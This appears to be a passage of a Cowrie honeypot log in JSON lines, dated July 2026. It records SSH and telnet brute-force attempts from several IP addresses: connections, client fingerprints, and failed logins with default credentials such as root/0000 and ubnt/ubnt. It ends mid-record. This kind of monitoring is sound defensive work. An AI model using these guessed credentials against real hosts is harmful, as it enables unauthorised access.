{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:06.927061Z","src_ip":"165.154.137.186","session":"95ddfbbcede7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:07.311766Z","src_ip":"2.57.122.209","session":"8b9a5500a64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:08.206590Z","src_ip":"165.154.137.186","session":"95ddfbbcede7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43286,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f13a52b576e","protocol":"ssh","message":"New connection: 159.65.58.200:43286 (159.203.135.109:22) [session: 6f13a52b576e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:14.994390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:15.137230Z","src_ip":"159.65.58.200","session":"6f13a52b576e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:15.139981Z","src_ip":"159.65.58.200","session":"6f13a52b576e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sobolev","password":"123456","message":"login attempt [sobolev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:16.419776Z","src_ip":"159.65.58.200","session":"6f13a52b576e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49276,"dst_ip":"10.17.0.5","dst_port":22,"session":"80400705987f","protocol":"ssh","message":"New connection: 165.154.137.186:49276 (10.17.0.5:22) [session: 80400705987f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:16.688953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:16.693484Z","src_ip":"165.154.137.186","session":"80400705987f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:16.952752Z","src_ip":"165.154.137.186","session":"80400705987f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:17.731874Z","src_ip":"165.154.137.186","session":"80400705987f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.59657335281372,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:17.745130Z","src_ip":"170.64.224.25","session":"8a675c9a727a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:17.800751Z","src_ip":"159.65.58.200","session":"6f13a52b576e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:18.994666Z","src_ip":"165.154.137.186","session":"80400705987f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.003178358078,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:21.597694Z","src_ip":"128.199.209.169","session":"6500018644f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36304,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d198f87d23a","protocol":"ssh","message":"New connection: 165.154.137.186:36304 (10.17.0.5:22) [session: 6d198f87d23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:24.594476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:24.598438Z","src_ip":"165.154.137.186","session":"6d198f87d23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:24.864445Z","src_ip":"165.154.137.186","session":"6d198f87d23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55982,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa1a1bd019f4","protocol":"ssh","message":"New connection: 165.154.137.186:55982 (10.17.0.5:22) [session: aa1a1bd019f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:25.342668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:25.346342Z","src_ip":"165.154.137.186","session":"aa1a1bd019f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:25.614882Z","src_ip":"165.154.137.186","session":"aa1a1bd019f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:25.666554Z","src_ip":"165.154.137.186","session":"6d198f87d23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:26.422438Z","src_ip":"165.154.137.186","session":"aa1a1bd019f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:26.935653Z","src_ip":"165.154.137.186","session":"6d198f87d23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:27.693125Z","src_ip":"165.154.137.186","session":"aa1a1bd019f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55986,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf04303c43fb","protocol":"ssh","message":"New connection: 165.154.137.186:55986 (10.17.0.5:22) [session: bf04303c43fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:28.359846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:28.365042Z","src_ip":"165.154.137.186","session":"bf04303c43fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:28.643624Z","src_ip":"165.154.137.186","session":"bf04303c43fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:29.480809Z","src_ip":"165.154.137.186","session":"bf04303c43fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:30.762740Z","src_ip":"165.154.137.186","session":"bf04303c43fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":49890,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e474c43be0","protocol":"ssh","message":"New connection: 101.47.159.50:49890 (10.17.0.5:22) [session: c4e474c43be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:33.356778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:33.360780Z","src_ip":"101.47.159.50","session":"c4e474c43be0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:33.608184Z","src_ip":"101.47.159.50","session":"c4e474c43be0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shakeel","message":"login attempt [root/shakeel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:34.630548Z","src_ip":"101.47.159.50","session":"c4e474c43be0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55966,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8c6dee5085","protocol":"ssh","message":"New connection: 165.154.137.186:55966 (10.17.0.5:22) [session: 4b8c6dee5085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:35.604035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:35.611257Z","src_ip":"165.154.137.186","session":"4b8c6dee5085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:35.871339Z","src_ip":"165.154.137.186","session":"4b8c6dee5085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:35.881528Z","src_ip":"101.47.159.50","session":"c4e474c43be0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:36.652634Z","src_ip":"165.154.137.186","session":"4b8c6dee5085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:37.915201Z","src_ip":"165.154.137.186","session":"4b8c6dee5085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57506,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3aa5b0eed16","protocol":"ssh","message":"New connection: 8.210.75.243:57506 (10.17.0.5:22) [session: f3aa5b0eed16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:38.010634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:38.161023Z","src_ip":"8.210.75.243","session":"f3aa5b0eed16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35216,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac1ff9899c8","protocol":"telnet","message":"New connection: 170.64.224.25:35216 (159.203.135.109:23) [session: 3ac1ff9899c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:46.194292Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":45056,"dst_ip":"10.17.0.5","dst_port":22,"session":"4208e074d9e7","protocol":"ssh","message":"New connection: 101.36.111.155:45056 (10.17.0.5:22) [session: 4208e074d9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:54.860012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:45:54.867435Z","src_ip":"101.36.111.155","session":"4208e074d9e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 